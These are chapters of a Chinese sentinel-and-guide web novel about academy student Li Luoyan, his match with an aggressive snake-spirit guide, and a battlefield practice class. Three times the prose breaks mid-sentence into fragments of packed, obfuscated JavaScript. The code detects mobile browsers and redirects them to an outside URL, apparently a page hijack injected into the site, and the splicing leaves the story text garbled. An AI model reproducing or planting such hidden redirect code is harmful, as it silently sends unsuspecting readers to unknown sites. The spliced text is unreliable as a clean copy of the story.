那生物每移动一寸,囚犯的痛苦就增加一分,嗓音像是漏风的破手风琴那样沙哑难听,已经说不出任何有意义的话语了,能发出的只有因痛苦而本能呼出的声音。 黎珞言手很稳,不受影响地枪口上移,直直对准地上不住扭动的那人的眉心,他没犹豫,也没在意一直在剧烈晃动的目标,眸光专注。这时距离他开的第一枪仅仅只有两秒间隔,他再次扣动了扳机。 仍然是直中目标,分毫不差。 地上那人失去了生息,大睁着的血红眼睛却显出一丝解脱之意。 黎珞言眼皮轻垂着,看着死人仍大睁着的眼睛,嘴唇小幅度地动了动,口型是在说“安息。” 异兽仍在往外爬,它试图抓紧时间逃离这一块危险的地方。于是鼓足了劲爬出它所寄生的人类身躯。 它的移动速度极快,如今只是被人类的躯壳阻滞了速度,但只要它爬出去,只要整个身体都离开了寄生体,它就能…… “砰——” 审讯室里响起的第四声枪响。 ……活下来。 异兽死了。 刚离开寄生体还没来得及窃喜的异兽被子弹射穿了躯体。丑陋的、仿佛多种不明生物杂交而成的躯体,因体态小而具有灵活、移动速度快的特点。 但此刻在黑发哨兵的枪下却失去了自己引以为傲的优势,在自己最擅长逃跑的这一领域被准确无误地击中。 异兽低吟了几声,被击倒在地上。 正如齐泽所想,黎珞言作为联邦军校的一年级新生,和异兽接触确实算不得不多,实战经验也少得可怜,因此他不太确定一枪能不能让异兽死透,沉着眸又补了几枪。 玻璃墙消失。 执政官慢步从那边走了过来,蹲下身将异兽尸体收进了储物戒里。 寄生物,即异兽,只有在离开感染者后才能被收集,一旦死在了感染者身体里,由于某种自我保护的机制,很难获取到全尸,也就不便于后续的研究。 黎珞言就是出于这个原因才等异兽全身出来后才开枪一击毙命。 黎珞言看着他的动作,等他走过来时把手枪抵还给了他。深棕色的训练服上被沾上了部分猩红的血迹,干涸在了上面,他垂着眸,安安静静地看着自己脏了的衣服,皱了皱鼻子。 执政官关闭了连通那个房间显示屏的监控,接过枪后,这才看向黎珞言,问道:“你没有要问我的吗?” 黎珞言眼睛眨了眨,室内无风,他的头发却在很轻地晃动,半晌,他诚实地摇了摇头。 看着不复方才果断利落解决感染者时的冷静沉稳,反而神情很懵,眼神清澈又茫然,活像是意外闯进审讯室的。 执政官按了按额角,本来想说些什么,但看着他这副什么都不在意的模样,话又都被咽了回去。 他抬手按了按哨兵蓬松的黑发,压扁了点,等他收回手,就看着头发又恢复了原状——嗯,像记忆棉。 黎珞言不懂他在做什么,但是在和他对视上后,下意识弯起眸子,握枪时那股自然带出的狠劲冷戾完全散尽了,弯成月牙似的绿眸只余一片澄澈干净。 执政官敛眸,率先移开了视线,没有和他一直对视下去,淡声道:“走吧。” 只是他们还没走出去,门已经被大声敲响了。 “咣咣咣!”不像是在敲门,倒像是上门讨债的。 混账得不行。 执政官拧了下眉,瞬间就猜到了外面不断敲门的是谁。刚打开门,身边就掠过一道风。他还没回头就听见身后骤然响起的声音。 “你没事吧梨子。” 黎珞言看见奚元过来了,明显放松了不少。整个人也不紧绷着了,有点像蔫趴趴的小白菜,站没个站样地靠着身边的人,打了个小小的哈欠:“有点困,算不算有事。” 两个人就跟上课说小话开小差的学生一样,旁若无人地又开始讲话了。 直到执政官扭过头看向他们,这俩人才双双噤声,两双眼睛默契地纷纷看向执政官,表现出很配合很听话的模样。 奚元似乎才意识到自己不打招呼就冲进来的行为有多没礼貌,于是扬起嘴角强行憋出一个他自认为很有礼貌的笑。 执政官也知道他的秉性,懒得和他掰扯,直接看向黎珞言,对上那双澄澈的绿色眸子,他眸光微暗,淡声说:“你的匹配结果出来了。具体信息我已经发到你的终端上了,有时间的时候看看。” 黎珞言微微睁大了眼睛,意识到话语中的内容后,他眼睛亮起来,像是镀上一层亮闪闪的太阳碎光。 马上就低下头找到终端查看父亲发给他的信息,嘴上应付似的“嗯”了两声应下。 他迫不及待的模样让旁边的奚元忍不住撇了下嘴,舌尖抵了抵牙,停顿几秒后拖着他就往外面走,语气正儿八经的:“有时间再看!你急什么。” * 关于哨兵与向导的匹配机制向来是以自愿为原则的。每轮匹配开始前会先经过个人同意,同意后,个人信息才会进入到信息库中,匹配系统会综合考虑年龄、匹配度等多种因素进行配对。 而一轮匹配结束过后,新一轮匹配又会重新征求意愿,直到适龄的哨兵向导进行婚配过后,才会停止入库意愿的询问。 结束了一天无聊又催眠的理论课程,黎珞言像被抽去了精力,趴在桌上,懒懒散散地划着终端开始看匹配对象的资料。 除了一开始知道这个消息时的开心之外,过了几个小时,黎珞言的热情就随着时间过去了。他看着一长串的文字,又开始犯困。 为什么个人资料上连图片都不放一张的啊。 黎珞言眼皮一张一合,重复几次后安然合上了。他手臂一摊枕在胳膊上,眼睛一闭就睡着了。 “梨子。” 黎珞言迷迷瞪瞪地听见了有人在叫他,接着肩膀被拍了拍。他挣扎着睁开眼睛,眼里还泛着雾气,看人时都像是蒙了层柔光滤镜。 “你听说了吗?白塔那个最难搞的向导和你匹配上了!听说他一个能打十个哨兵!” 黎珞言嘴比脑子快,很认真地“嗯嗯”了下,然后使劲眨了眨眼睛,睡迷糊的意识终于回笼。 他侧过头趴着,看着坐在了自己旁边位置的高马尾女生,理所当然道:“这种消息我当然是第一个知道的啊。” 说这话时他还有点小骄傲的意思。 尹惟眉梢微挑,没说什么,只是笑吟吟地往后躺了躺,倚在椅背上。 刚从教室门口进来的奚元刚好听见,琢磨了一下,捕捉到重点:“等等——你说,白塔最难搞的向导?” 黎珞言经他这么一强调,也才意识到这点,慢吞吞地直起了身子,跟着重复一遍:“白塔最难搞的向导?” 一整天的课都结束了,基本大家都走了,此刻教室里就他们三个还在。奚元就出去洗了个手,一回来发现自己的位置被尹惟给占了,腿拐了个弯坐到了尹惟的位置上——黎珞言的后座。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496414|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 把黎珞言的椅子往后边扯了扯,还不忘抱怨一句:“干嘛坐我的位置!” 尹惟嗤道:“你座位镶钻了不成?坐一下还得请示你?” 她漫不经心地转着笔,回答起上面那个问题:“去白塔官网上查一查就知道了,打架斗殴上了好几次官网,履历还蛮辉煌的。” 她看见黎珞言低着头在看终端,视线忽地扫到终端的内容上:“你在看他的个人信息吗?” 黎珞言点点头,他划来划去也没看见这上面有写那位向导的违规记录。 奚元忍不住好奇心,伸着脖子凑过去看,念个名字像是很耗费力气似的,皱着眉念道:“易谌(shen)。” 空气安静了几秒,黎珞言和尹惟同时看向了他,看得奚元都有点不自在了。 黎珞言抿了下唇,说话慢吞吞的,认真纠正道:“易谌(chen)。” 奚元被他看得都快要忍不住觉得自己文化水平不够了,连忙清嗓为自己正名:“咳咳!我当然知道!” “哈哈哈哈!”尹惟没绷住笑出了声,笑得连肩膀都跟着抖动起来。 “……打住!”奚元故作镇定,做了一个停止的手势,被嘲笑了之后脸快要像发色那么红了,匆忙转移话题,看向尹惟,“你还是没说‘最难搞的向导’是怎么回事?你怎么知道的?就连个人信息这里都没有写啊。” 黎珞言也好奇,趴着脑袋看她。 “谁会把违规记录往个人简介上填啊?”尹惟按了按额角,有点无语。右手轻拍了拍桌子,“你们谁带电脑了,我来查。” 黎珞言向来是背包里多装了一本书都嫌累的人,理直气壮摇了头。他直着身子坐了一会儿又累了,本来是转着身子方便和后桌的奚元说话,此时就直接趴在了后桌上。 尹惟看他眼睛又快闭上了,后仰着低头看了眼奚元的桌框,果不其然看见了一瓶还没开过的冰水,她毫不见外地从里面抽了出来。 矿泉水的瓶身凝着一层水汽,明显是从冰柜里拿出来不久,她笑眯眯地将瓶身贴在了黎珞言的脸上,把人冰得瞬间就睁开了眼睛。 黎珞言抿着嘴巴,极小声地哼了两声,才勉强接过罪魁祸首给的水。 顺手就用单手开了盖,仰头猛灌下一口,冰凉的触感顺着喉腔流下,他整个人总算清醒了不少。 尹惟笑道:“好了,你的嘴巴现在翘到可以钓起一条鱼了。” 才没有。黎珞言在心里悄悄反驳。 奚元正好把自己包里装的电脑拿了出来,推到了她面前:“诺。我带了。” 电脑盖被掀开,尹惟把屏幕往下掰了掰,以便他们都能看见。 开机密码…… 尹惟完全没有思考,她熟稔地在奚元的电脑里输入了黎珞言的生日,成功开机。 登入浏览器,输入白塔官方网址,再输入关键词“易谌”。 尹惟找到通报批评的那几条信息,做了标注,顺手建了一个新文档,把信息汇总了一下,这才示意他们看。 半晌没听到回应,她抬头看去,发现这两人居然在往矿泉水那小小的瓶盖里倒水。 ……这么幼稚低质的游戏居然能从小玩到二十岁吗?? 这种“一人倒一次,谁倒的时候溢出来谁就输了”的小游戏,尹惟看得眼皮都在跳。 “我说你们——”尹惟看着形成一个凸状的小水球,看起来下一秒就要溢出来了,盯了好一会儿,在他们即将交递水瓶时出声道:“我找人带到你们宿舍的核桃你们吃了吗?” 5. 第 5 章 核桃……? 黎珞言歪过头去看她,点点头说:“吃了。好吃。” 尹惟:…… 对方肯定了你送的核桃的美味,并且完全没意识到核桃补脑的内涵。 奚元恍然大悟:“原来是你送的啊。我一开始……” “他一开始还想扔出去,”黎珞言懒懒地伸出根手指点了点奚元,正大光明告状,一边眨巴眼睛暗暗邀功,“还好我及时阻止了。” “哇塞,”奚元说,“你还不是因为嘴馋。” 而且为了验证那箱来路不明放在宿舍门口的核桃有没有问题,他可是吃了一个确定没中毒之后才放心让黎珞言吃的……好没良心的。 黎珞言伸出的那根指头收回来慢吞吞挠了挠脸,说话慢悠悠的:“浪费粮食不好啊。” 尹惟表情气愤:“……送去的人没有说是我送的吗?” 得到“没有,放在宿舍门口就走了,连字条都没留一张”的回答后,尹惟更生气了。 她右手砸在桌上,俨然一副要找人算账的模样:“我偷偷摘的我家院子里的!好不容易才摘了一箱,差点就被发现了。” 冒着这样的风险,居然最后还失去了署名权!谁为她发声! 黎·支持维权·珞言舔了舔嘴巴,像是回味起美味核桃的味道:“那很好吃了。” 奚·说风凉话·元:“那你找的这人还怪不靠谱的。” 尹惟:……可恶! 插科打诨一会儿之后,尹惟记起正事,把电脑屏幕又往下压了压,让他们都能看见上面的内容。 正色道:“易谌,进白塔才一年不到的时间,和我们算是同期生吧。打架记录已经累了好几条了,我就没见过性子比这还差劲的。我问了好几个白塔的朋友,说这人对谁都冷脸,向导也打哨兵也打……最辉煌的事迹就是,一个人干了十个哨兵,直接上了白塔的通报墙。” 她回想了一下那些人义愤填膺的控诉,总结道:“就是一个孤僻又独狼的向导。” 黎珞言还没对自己的匹配对象的事迹发表什么感言,奚元率先发问:“那他怎么还没被开除?” 尹惟扶额:“不论是联邦军校还是白塔,都是非常看重学生个人实力的。他和梨子的匹配度达到了百分之九十六,你觉得他的精神力可能是s级以下吗?” “就单说他单挑十个哨兵这事吧,从道德层面来说值得谴责,但话又说回来,战斗水平挺高的。” “但我觉得……”尹惟轻轻垂下眸,眉头皱着。 以执政官对梨子事无巨细的关心程度,最后的匹配结果一定是经过他过目的。所以为什么他会让梨子和这样一个似乎有暴力倾向的向导发展? 奚元不以为然:“实力能有多强?白塔的首席不是一直是温暻没变过吗?他难道能到那个水平?” “不一样,温暻是治愈型向导,但易谌他……是攻击型的。” 尹惟按了按额角,她真心有点为黎珞言担忧了,“他的精神体是蛇啊。我第一次知道向导的精神体也可以是这种东西的!” 蛇? 黎珞言慢吞吞地发着呆。蛇很可爱啊。 电脑突然跳出一条消息:奚哨兵您好,已为您匹配到合适的对象,有深入了解的意向可添加联系方式~祝相处愉快喔~ 这条信息跳出来的时机太好,一时间三人都看见了,空气都安静了几分。 黎珞言原本百无聊赖的心情稍微被激起了一点兴趣,好奇问道:“你也去匹配了?” “啊……呃。对。” 事实证明,人在尴尬的时候会很忙碌,奚元整个人快要红温了。 一把抢过鼠标后匆忙地点小叉号,结果一个手抖反而点进了匹配库当中。 黎珞言凑近看,惊讶道:“这轮匹配居然有这么多人吗?” 他还在上面看见了温暻的名字。按理来说,温暻已经是白塔首席了,怎么还需要靠匹配系统分配呢? 尹惟笑了笑,没有说出那个显而易见的原因。她没和奚元来一场鼠标争夺战,而是把手放在了电脑的触摸板上,滑动着点开了温暻的匹配资料。 似是发自内心的,对着黎珞言说:“好遗憾。你和温暻的匹配度是百分之七十九。” 黎珞言倒没这么觉得,他一向觉得一切自有安排,随便怎样都可以啦。 于是弯起眼笑道:“温暻哥吗?他肯定不用担心匹配对象的事……” 他忍不住打了个小小的哈欠,眼睛快闭上了,继续说:“等我有了对象之后,就不用再麻烦温暻哥给我做精神疏导了……这么一说,我突然觉得我真的有点过于频繁地找他了。他肯定觉得很辛苦……” 黎珞言抿了抿唇,睁开眼睛没几秒,眼皮又耷拉下去,没精打采的。 尹惟弯唇笑起来:“苦中作乐。” 奚元整个人还在红温,连两人的对话都没听清,但下意识就接了句:“乐在其中。” “中……”黎珞言皱了皱鼻子,没想出来。 他拖长了尾音,嘴唇微张,圈成一个小圆。似乎是在认真思考成语,但表情已经明显是心不在焉了。 他手里抓着矿泉水瓶,漫不经心地晃了晃,然后将瓶身贴着脸,一双漂亮的绿眸盯着随便一处就开始走神。 后面没说上几句,黎珞言就又打了个哈欠,眼里晕了层薄雾,看着人时像是强撑着保持清醒。 把尹惟看得都有点于心不忍了,笑出声,轻轻拍了拍他的肩:“困了就先回去睡觉吧。” 黎珞言点点头,仰头把最后一口水喝光了,盯着空瓶子停顿两秒,然后试探性地推给了奚元。 奚元不知道在想什么,也没反应,下意识地就把瓶子接过了。 耶。有人帮忙扔垃圾了。 黎珞言弯了弯眸子,咬了咬舌尖才把唇角抑制不住的笑容压住,慢吞吞说了一句“我先回去了”,起身离开了教室。 尹惟撑着头,笑眯眯地和黎珞言挥手道别,等到彻底看不见他人影了,她才又转过头来,看向心不在焉的奚元。 她突然说:“哨兵和哨兵之间的匹配度一般是多少啊?我还真挺好奇的。” 奚元没有看她,反而视线一直盯着空荡荡的矿泉水瓶,眼皮垂着莫名显得有点凶,红发盛气凌人:“我怎么会知道?” “哦——”尹惟拖长了尾音,笑道,“就当你不知道吧。” 她把自己的书收拾了一下,背上包准备回宿舍,还没出门口就听见身后的人沉闷的声音。 奚元说:“至少不是百分之零。” 她的脚步微顿了一下,很轻地侧了下头,奚元仍低着头看着空空如也的矿泉水瓶像在发呆。 “嗯,至少不是百分之零。” 尹惟停顿片刻,回道。 看在两人这么多年的交情上,她最后还是没说出什么伤人的话来。 还是鼓励鼓励吧,怪可怜的。 * 联邦军校的课程分为理论课、实训课和实践课三类。 黎珞言继在理论课上睡觉,旷了实训课在宿舍睡觉之后,终于被提溜去实践课了。 对抗异兽这种事主要是军队的人负责。军校生作为将来会上战场的学生主要起到一个观众的作用,顺便在清理战场的时候做一个打下手的辅助。 联邦军校开启这种课程是为了锻炼一下在校学生的心理承受能力,不至于将来上战场碰见异兽两眼一抹黑,直接晕倒变成伤患,拉开敌我差距。 异兽的叫声和人类很不一样,它们发出的声波是人类听不懂的频率,只有依靠特殊仪器才能识别。但据特殊仪器分析后得出的结论是,异兽并不具备神智,说出口的语言大多是无实意的咿咿呀呀之类的话。 哨兵的精神体多是大型猛兽,战场上的战况十分血腥凶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496415|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 残。残留在口腔尖牙上的血肉,染红一片土地的暗沉血液,嘶吼声和哀鸣声混杂在一起。 这就是污染区的常态,越深入,异兽群体的力量就越强,相对来说越难解决。 为了保障学生安全,联邦军校的实践课向来是安排在污染区的最边缘,在这片区域,哨兵对异兽几乎是碾压般的压制。 “这是污染区。”一个面色严肃的老师走了过来,敲了敲桌子。 正埋着头吃小蛋糕的黎珞言舔了舔嘴唇,舌尖把奶油卷进嘴里,才抬起头。他看着古板严肃的老师,用所有的聪明才智思考了一下老师的言外之意。 ——没思考出来。 于是只能对字面意思表示赞同,点点头肯定了这里确实是污染区。 奚元以拳掩唇,尴尬地不想抬头:……完蛋,被抓包了。 黎珞言自认为十分配合,仰着脑袋,绿眸水亮地望着人,等着他继续说话。但在那个老师看来却更像是挑衅。 当实践课是来旅游的吗?观摩战斗还吃上零食了??挨了训也不赶快把吃的收起来,居然还敢瞪他? 古板老师哼出一声,把人劈头盖脸训一顿之后,当即发配俩人去收集尸体了。 在战后场地上,奚元一吸气,闻着的就是异兽尸体的臭味和血腥味混杂在一起的气味。想深呼吸平复心情都只敢呼不敢吸。太阳还很大,把死物晒得更难闻了。 他拧着眉,把异兽尸体收进储物袋里,最后这些尸体会由军部集中处理。 在清扫战场的工作中,收集尸体是最不受欢迎的工作,其他和这比起来都还好,毕竟不用闻那让人头疼的臭味,那气味难受得就跟精神污染似的。 奚元边捡尸体边忿忿不平地说:“那老古板怎么回事!没招他没惹他,过来就骂人!我好端端坐在那儿,什么也没做,居然说我在划水摸鱼??我是在认真学习格斗技巧好吧!又不是做了什么违规的事!难怪所有人都讨厌上他的课。” 黎珞言皱皱鼻子,补充道:“我也只是吃了一个蛋糕。而且还没吃完……” 刚说完,奚元就拿手肘轻轻撞了他一下,见他茫然看过来后,义正言辞:“梨子,你最该好好反省一下。” 黎珞言眨眨眼睛,懵道:“我怎么了?” 他是真的没觉得自己有什么问题。 奚元道:“你看着这么一副场景还能吃得下东西,他肯定觉得你在发呆,没认真看。” 黎珞言实话实说:“我胃口好啊。” 奚元看着他沉默了几秒,不得不承认:“那是挺好的。” “啊!!!” 不远处突然传来破音的尖叫声。 两人的话戛然而止,黎珞言下意识扭头看过去,注意到那边的情况时眉心皱起。 刺眼的阳光映在眼底,在宝石绿的眸中折出一道锐利的冷芒。 * 不远处。 几个穿着联邦军校训练服的哨兵任劳任怨地清理尸体。 一个人突然想到:“欸,你们说这些异兽会不会没死透,突然爬起来啊?” “……不可能吧。” 旁边那个卷毛哨兵呲着牙笑,又敛了笑,以一种故作深沉的语气:“可能性非常低,但不为0。” “哈哈哈哈。那得是多惨的倒霉蛋才会遇上啊。” 几个人被这个从未发生过的猜想逗笑,笑成一团,一边插科打诨,一边丝毫不认真地收集异兽尸体。 卷毛哨兵蹲下身子,伸出手准备将尸体收进储物袋里,一边扭过头和旁边人说笑,完全没有注意手下的情况。 直到面前人的脸色突然凝滞,瞪大眼睛,从喉咙挤出两个字:“小心!” 他条件反射回过头,对上一张张大了的血盆大口,他清晰看见张大的不规则牙齿间还粘连着血沫,面色陡然苍白如纸。 “啊!!!”喉咙口溢出惨叫。 6. 第 6 章 地上晕了一大片干涸的血迹,长相怪异可怕的异兽“死而复生”,似乎是拼着最后一口气张大了嘴。 卷毛眼眶瞪大,瞳孔缩小,他无比清晰地认识到异兽试图将他,一个弱小且无力反抗的人类,一口囫囵吞下,作为一种恰到时机的补给。 他这时候忽然开始胡思乱想,或许,人在濒死的时候确实是会完全失去行动能力的。 卷毛整个人瞬间失力坐在了地上,脸色苍白,直愣愣地看着那只突然奋起的异兽“尸体”,红黑色的血口瘆人,几乎要将他整个人包裹在内。 ……怎、怎么办?他真的要死在这里了吗? 突然,眼里映入一点金色的光,像是刺破黑暗的曙光。卷毛睁大了眼睛。旋即,那缕金光越来越亮,范围越来越大,直到占据了整个瞳孔。 属于小动物的暖洋洋的味道瞬间冲散了腐烂的腥臭,鼻腔里涌入温暖清新的气息。 卷毛哨兵突然感觉自己好像又活过来了。 他艰难地大睁着眼,看着巨大的金毛狮子以一种极为震撼的速度冲进视线,随即张开口将异兽一整个吞入腹中,以一种胜利者的姿势踩在了地上,蓬松漂亮的金毛沾上了一点脏污,但这完全不影响它的英姿。 金毛狮子昂着巨大的脑袋,似乎注意到了附近还有一个小卡拉米,于是扭过头,一双宝石般碧绿的兽瞳居高临下地望着他。 卷毛哨兵仍保持着摔坐在地上的姿势,反手撑着地,仰着头看它。太阳太刺眼了,他其实不太能看清狮子的全貌,而且这样仰着头看,太阳刺得他眼睛都发酸发胀了。 眼前的金毛狮子好像一点点变小了……眼睛被晒出错觉了吗?救命。 他眼睁睁看着金毛狮子缩小到了手掌大小,然后跳上了另一个人的掌心。于是他的视线也跟随着转了过去。 ……逆着光,看不清楚。 突然,眼前伸出了一只手,是狮子的主人伸出来的,手指白皙纤长。 卷毛喉结滚动咽了口水,手抖得跟筛子似的,刚想搭上去,就被人拽着后领提了起来。 被太阳刺了好半天的眼睛酸胀得不行,他一眨眼睛,眼泪就掉了出来。 但他没工夫管眼泪,也没工夫管谁拽他后领子了,只一脸专注地望着面前的哨兵,像相亲似的赶忙理了理训练服的外套,紧张地差点咬到舌头:“你好!我、我叫常西!” 声音还发着抖,俨然说话的人还没有完全从方才的惊吓缓过神来。 “是你啊。哦,那天谢谢你的飞行器了。” 奚元上一秒沉着脸把人拽起来了,下一秒脸色稍微好了些,双手环抱着,显然是记起了这张脸。 这不就是那天他赶着回宿舍叫梨子起床时慷慨赠送飞行器的好心人吗。 他查了,那还是款限量版的飞行器,这人随口就送出去了,财大气粗啊。 奚元还是有点拿人手短的意识,脸色也没刚才那么差了,特别是注意到面前这位哨兵都被吓哭了,张了张嘴,还是闭上了,没好意思再说些什么刻薄的话。 常西脸长得幼,看上去还真不像联邦军校的,倒像是误入污染区的倒霉中学生。 他也根据那一头火焰似的红发认出了奚元,和他点头示意之后便又看向了救了他的黑发哨兵,眸光专注而炙热:“你好……我能问问,你叫什么名字吗?” 眼前的黑发哨兵看着有点冷,脸长得又俊又帅,一双眼睛和他的精神体如出一辙,好看得不行。此时正垂着眸,轻轻给手掌里的毛茸茸顺着毛。 常西的心脏跳得飞快。他突然又开始反思自己是不是问得太突兀了,会不会冒犯到了对方。 奚元看着黎珞言的脸色有些不好,他抬手用手背贴了贴黎珞言的额头,微微有点发烫。于是很担心地低声问:“没事吧。” 黎珞言紧抿着唇,唇色被他抿得都泛红了。他摇摇头表示问题不大,又看向常西说,回答了他刚才的问题:“我叫黎珞言。” 说完后,他眉头皱起,似乎是身体难受,小声地跟奚元说了句什么就离开了。 奚元还是不太放心地盯着他的背影。 常西也紧紧盯着他离开的背影。 原来,他就是黎珞言…… 下一刻后背就被硬木板狠狠砸了一下。他疼得龇牙咧嘴,气道:“谁砸小爷!” 一转头就看见沉着脸的老师,立马泄了气,低下头老老实实喊了声:“严老师。” 奚元看见这个害自己来打扫尸体的老古板就心烦,索性别过头去装没看见。 严弥正值壮年,其实并算不上老,但一身古板陈旧的气质总让人觉得他应该是上上上个世纪的人了。 他是被常西那几个同伴喊来救援的,那几个人找到他时说话都语无伦次的,眼泪都快飙出来了,但好歹是让他一瞬间意识到了事情的严重性,用最快的速度飞速赶来了。 想到这里,严弥面色严肃,手里拿着打人用的硬木板,一字一句地说:“我强调过无数次,实践课并不是游戏。你们把清扫战场当作玩笑吗?真正的战场比这更危险,你们也能当玩笑吗?” “平时一个个嘻嘻哈哈、吊儿郎当的就算了,毕竟都是一年级的新生。但你们就连现在也一点战斗素养也没有吗?” 在他的威压下,一时间没人敢说话,尤其是刚刚才死里逃生的常西。 严弥的脸色越说越黑,他简直觉得这届一年级的新生是不是脑子都有问题:“我想理论课的老师是说过,遇到危险了第一时间向老师求助。但不是说异兽下一秒就要把你们的同伴吞下去了,你们还要跑到营地来找我!说严重点,你们这就是逃兵行为!” 面前的学生头越来越低,现场安静得连呼吸声都放得极轻。 他审视的目光扫过在场的所有人,看了看平安无恙的常西,又看了看后方的异兽尸体,停顿片刻后,问道:“没死透的那只异兽最后是谁解决的?” 是天降神狮! 常西的眼睛都亮了起来,应话前下意识回头看了一眼,看见空荡荡的一片土地,一时间忍不住暗暗咂舌,甚至在想到当时的场景时起了一身鸡皮疙瘩。 嘶,连尸体渣都没了。 他终于知道联邦军校论坛里为什么要说黎珞言是神了…… * 话题的主人公此时正在营地里边。 黎珞言捧着金毛小狮子进了洗手间,走到洗手台前开始给毛脏了的小金毛洗毛上沾染的脏污。 洗着洗着,身体一阵难受,头也开始发晕,黎珞言迅速腾出只手撑在洗手台前支撑住身体。 湿哒哒的小狮子望着他,旋即低下头蹭了蹭他的手心,像是在安抚主人。 黎珞言抿着唇,难受得眉心紧蹙,严肃批评它:“厄斯,你不能什么都吃,知道了吗?” 精神体和主人在一定程度上是共感的。厄斯生吞了那只异兽,反应到黎珞言身上的就是全身难受,特别是胃,火烧一样难受。 他难受时并不会表现得很明显,只是很没有精神,像颗蔫趴趴的小白菜。但他平时放松下来也总是没精打采的,因此看不太出来。 小狮子似乎是意识到错误了,“嗷呜”“嗷呜”叫了两声,又贴着主人的手心蹭了蹭,撒娇似的。 黎珞言检查它身上的毛洗干净了之后,把它收了回去。 他撑着洗手台,半垂着眸。……不行,必须得找个向导给自己做个脑域污染的浅层清理。 黎珞言当机立断在终端上约了诊疗室,打听了去诊疗室的路后,乖乖坐在了门口排队。 像这种污染区内部设立的营地,诊疗室都是供不应求的。所以约诊疗室只能约随机不能约指定,只要哪边空了就进哪边。 谁也不知道给自己做诊疗的向导是谁。 黎珞言靠在椅子上,半仰着头闭目养神,突然,他的终端响了下,是排到他的号了。 他鼓了鼓腮,缓缓吐出一口气,难受得脸上做不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496416|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出一点表情,惨兮兮地进了亮灯的诊疗室。 直到坐在了凳子上,他才有精力抬起头看一看给自己进行疗愈的向导。 刚一抬头就正巧和对面的向导对上了视线,黑得透不进一点光的眼珠看着人时隐隐显出几分阴冷的鬼气。 不知道为什么,黎珞言总有一种对方好像一直在盯着他看的错觉。而且,进了这间诊疗室,他莫名感觉浑身凉飕飕的,就像开了制冷效果超好的空调一样。 即便难受成这样了,黎珞言还有心思发散性地想,出去前一定要问问是哪一家的空调制冷效果这么好,他要偷偷安在宿舍里。 “黎珞言,是吗?”向导念出他的名字,嗓音冰凉,特别是在念他的名字时咬字莫名很重。 清醒时的黎珞言都听不出这种细微的差别,更别提是现在难受到不想动弹的他了。 黑发绿眼的哨兵一进了门便整个人趴在了桌子上,闻言缓慢地眨眨眼睛,然后像是反应过来了,点点头,说话也慢吞吞的:“你好,我现在很难受,我的精神体吃了不该吃的东西,我的头好晕,身体也没劲。” 其实他从来没接受过这种预约式的精神疏导。由于个人体质的原因,他对向导素的需求比其他哨兵要高,所以一直以来他接受的都是温暻的单人疏导。 如果不是因为厄斯乱吃东西,他也不至于难受到需要临时找向导做精神疏导…… 黎珞言并不清楚预约到诊疗室之后的具体流程应该是怎样的,他想着应该就和到医院看病是一样的,于是一个字一个字地往外蹦。 难受的人说话都是很没有逻辑的,但黎珞言已经竭尽全力表达出自己的意思了。 对面的向导冷淡地嗯了一声,表示听见了。 黎珞言发呆的时候会开始想别的事情,想着之前接受疏导的事情,又看着对面的向导一动不动。 他记得温暻每次做疏导都会握住他的手,于是想着在预约式诊疗室里,自己是不是应该主动一点,节约时间…… 黑发绿眸的哨兵歪着头趴在臂弯上,右手手臂慢慢伸出来,指尖慢吞吞地、向着向导搁在桌上的手够去,刚要碰上,就见面前的手迅速往旁边移开了。 黎珞言动作一顿:“……?” 他疑惑地看着对面的人,语气真诚:“不牵手吗?” 向导:“?” 他半眯起眼睛,像是在笑,但仔细看过去,眼里又没有笑意:“你认出我了?” 话音刚落,他就看着对面的哨兵手肘撑着桌子朝他俯了过来,很近的距离,近到他似乎都能嗅到哨兵从内而外散发出的那种暖洋洋的香气。 他的睫毛剧烈颤动了一下,却没有躲开,轻微仰着头,一双深黑色的眸子不偏不倚和面前的哨兵对视着。 呼吸在这一瞬交缠、勾连,以这样一个距离——这样一个对陌生人来说过于亲密的姿势。 然后他看着哨兵眨了下眼,澄澈的绿眸里满是茫然。 “我不认识你啊。”哨兵说。 “……” 同样是来上实践课的向导垂下眼,终于意识到面前这人凑这么近只是为了近距离观察他的脸是不是见过的面孔。 易谌没有要说破自己身份的打算,他平静地看着黎珞言重新坐回了凳子上,又像没骨头似的趴在了桌子上。 他盯着看上去还有点懵、不在状态的黎珞言,淡声道:“精神疏导不需要肢体接触。” 黎珞言似有所悟地点点头,垂着眸看了看自己的手。 看了一会儿后,他又开始走神,视线飘到对方的手上,忽地注意到对方的手上戴着一个黑色手环,好奇心十足地仔细观察了好一会儿,直到那个手环突然吐出一条细长的猩红舌头,黎珞言眼睛睁大了点,才恍然意识到这是一条蛇。 为什么把蛇戴手上呢……? 黎珞言想了好一会儿,得出结论:大概是喜欢小动物? 